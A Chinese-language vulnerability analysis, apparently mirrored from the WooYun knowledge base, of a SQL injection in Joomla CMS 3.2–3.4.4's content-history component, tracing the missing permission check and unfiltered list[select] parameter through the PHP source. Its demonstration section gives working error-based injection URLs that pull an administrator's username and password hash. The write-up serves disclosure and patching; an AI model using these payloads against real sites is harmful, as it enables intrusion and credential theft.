Joomla CMS 3.2-3.4.4 SQL隱碼攻擊 漏洞分析

wyzsk發表於2020-08-19
作者: RickGray · 2015/10/26 11:24

昨日,Joomla CMS釋出新版本3.4.5,該版本修復了一個高危的SQL隱碼攻擊漏洞,3.2至3.4.4版本都受到影響。攻擊者透過該漏洞可以直接獲取獲取資料庫中敏感資訊,甚至可以獲取已登陸的管理員會話直接進入網站後臺。

0x01 原理分析


在 Joomla CMS 中有一個檢視歷史編輯版本的元件(com_contenthistory),該功能本應只有管理員才能訪問,但是由於開發人員的疏忽,導致該功能的訪問並不需要相應的許可權。透過訪問 /index.php?option=com_contenthistory 可以使得服務端載入歷史版本處理元件。程式流程會轉到 /components/com_contenthistory/contenthistory.php 檔案中:

#!php
<?php
defined('_JEXEC') or die;    

$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
||    $lang->load('com_contenthistory', JPATH_SITE, null, false, true);    

require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';

可以看到該元件載入時並沒有進行相關許可權的監測,而 Joomla 中,一般的後臺呼叫元件 (/administrator/components/下的元件) 都會進行元件對應的許可權檢查,例如後臺中的 com_contact 元件

#!php
if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
    return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}

但是,程式在處理 contenthistory 元件時,並沒有進行一個許可權檢查,程式初始化並設定好元件相關配置後,包含檔案 /administrator/components/com_contenthistory/contenthistory.php,其內容如下:

#!php
<?php
defined('_JEXEC') or die;    

$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

程式初始化基於 contenthistory 元件的控制類 JControllerLegacy,然後直接呼叫控制類的 execute() 方法,在 execute() 方法中,會呼叫其控制類中的 display(),程式碼位於 /libraries/legacy/controller/legacy.php

#!php
public function display($cachable = false, $urlparams = array())
{
    $document = JFactory::getDocument();
    $viewType = $document->getType();
    $viewName = $this->input->get('view', $this->default_view);
    $viewLayout = $this->input->get('layout', 'default', 'string');    

    $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));    

    // Get/Create the model
    if ($model = $this->getModel($viewName))
    {
        // Push the model into the view (as default)
        $view->setModel($model, true);
    }
    (...省略...)
    if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
    { (...省略...) }
    else
    {
        $view->display();
    }    

    return $this;
}

處理程式從傳遞的引數中獲取 viewlayout 的引數值進行初始化檢視,並且呼叫 $model = $this->getModel($viewName) 載入對應資料模型,最終會呼叫 $view->display() 函式進行檢視處理。

Joomla 新版本 3.4.5 中修復的SQL隱碼攻擊漏洞涉及的是歷史檢視操作,也就是 view=history 時的程式處理會導致注入。在程式進行資料提取時,會進入 /administrator/components/com_contenthistory/models/history.php 檔案中的 getListQuery() 函式:

#!php
protected function getListQuery()
{
    // Create a new query object.
    $db = $this->getDbo();
    $query = $db->getQuery(true);    

    // Select the required fields from the table.
    $query->select(
        $this->getState(
            'list.select',
            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
        )
    )
    ->from($db->quoteName('#__ucm_history') . ' AS h')
    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))    

    // Join over the users for the editor
    ->select('uc.name AS editor')
    ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');    

    // Add the list ordering clause.
    $orderCol = $this->state->get('list.ordering');
    $orderDirn = $this->state->get('list.direction');
    $query->order($db->quoteName($orderCol) . $orderDirn);    

    return $query;
}

注意下面這段SQL語句構造部分:

#!php
    $query->select(
        $this->getState(
            'list.select',
            'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
            'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
        )
    )
    ->from($db->quoteName('#__ucm_history') . ' AS h')
    ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
    ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))

其中 getState() 函式用於獲取模型的屬性和其對應的值,其函式定義位於 /ibraries/legacy/model/legacy.php

#!php
public function getState($property = null, $default = null)
{
    if (!$this->__state_set)
    {
        // Protected method to auto-populate the model state.
        $this->populateState();    

        // Set the model state set flag to true.
        $this->__state_set = true;
    }    

    return $property === null ? $this->state : $this->state->get($property, $default);
}

然後會呼叫 populateState() 函式來初始化引數值和提取並過濾某些引數,在 contenthistory 組建中定義有自己的 populateState() 函式:

#!php
protected function populateState($ordering = null, $direction = null)
{
    (...省略...)
    // List state information.
    parent::populateState('h.save_date', 'DESC');
}

函式最後,會呼叫父類的 populateState() 函式,因為該資料模型繼承於 JModelList,所以父類相關程式碼位於 /libraries/legacy/model/list.php 中,而在父類該函式的處理中會解析請求中傳遞的 list[] 引數,解析並過濾預設鍵的值,但是卻忽略了 list[select]

#!php
protected function populateState($ordering = null, $direction = null)
{
    (...省略...)
        // Receive & set list options
        if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
        {
            foreach ($list as $name => $value)
            {
                // Extra validations
                switch ($name)
                {
                    case 'fullordering':
                        (...省略...)
                    case 'ordering':
                        (...省略...)
                    case 'direction':
                        (...省略...)
                    case 'limit':
                        (...省略...)
                    default:
                        $value = $value;
                        break;
                }    

                $this->setState('list.' . $name, $value);
            }
        }
    (...省略...)

而傳遞 list[select] 引數值最終會被解析到上述元件檢視進行處理時 SQL 語句構建中的 list.select 裡,從而導致了注入。

0x02 漏洞演示


透過上面簡單的分析,已經知道了受影響的 Joomla 版本中,contenthistory 元件訪問不受許可權的控制,並且當進行 view=history 請求時會解析請求引數中 list[select] 的值拼接到 SQL 語句中。下面是該漏洞的簡單驗證和利用方法。

1.漏洞驗證

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因為在進行 SQL 語句拼接的時候,獲取了 list.ordering 進行資料查詢中的 order 操作,若不提供預設會將其設定為資料進行處理,相關處理位於 /libraries/joomla/database/driver.php 的 quoteName() 函式中。

因此,訪問上述構造的URL,伺服器會報錯:

2.漏洞利用

因為在 SQL 語句拼接時,程式框架針對每個 from 或者 where 操作進行了換行處理,所以這裡並不能使用 #-- 等符號來註釋掉後面的語句,只能透過報錯注入進行資料提取。但是語句的成功執行有一定的前提條件,也就是傳遞的 item_idtype_id 引數值必須於資料庫中有效,同時傳遞 list[ordering] 引數 (空值即可),這樣注入的語句才能夠得到執行,從而進行報錯注入。

這裡經過多個漏洞站點的測試可以簡單的使用 item_id=1&type_id=1,當然了為了準確性和有效性,可以透過爆破的方式來得到這兩個引數的有效值,然後再進行注入操作。

(Tips:Joomla 中構造的 SQL 語句中 #_ 最終會在執行前被替換為表字首)

下面是獲取使用者名稱/密碼雜湊的漏洞演示過程:

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

0x03 修復方案


  1. https://github.com/joomla/joomla-cms/releases 獲取最新版本進行重新安裝;
  2. https://github.com/joomla/joomla-cms/releases 下載相應版本的補丁程式進行升級;

0x04 總結


就 Joomla CMS 的使用者量來看,目前還有大量的站點的資料正受到該漏洞的威脅。該漏洞的產生本質上是由於訪問控制的缺失和過濾不嚴格造成。訪問控制的缺失導致本應只有管理員才能進行訪問和載入的 contenthistory 元件能夠被任意使用者訪問和載入,而引數的過濾不嚴格,導致攻擊者能夠構造出惡意的引數到執行流中產生注入。

0x05 參考

原文地址:http://blog.knownsec.com/2015/10/joomla-cms-3-2-3-4-4-sql-injection-vulnerability/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章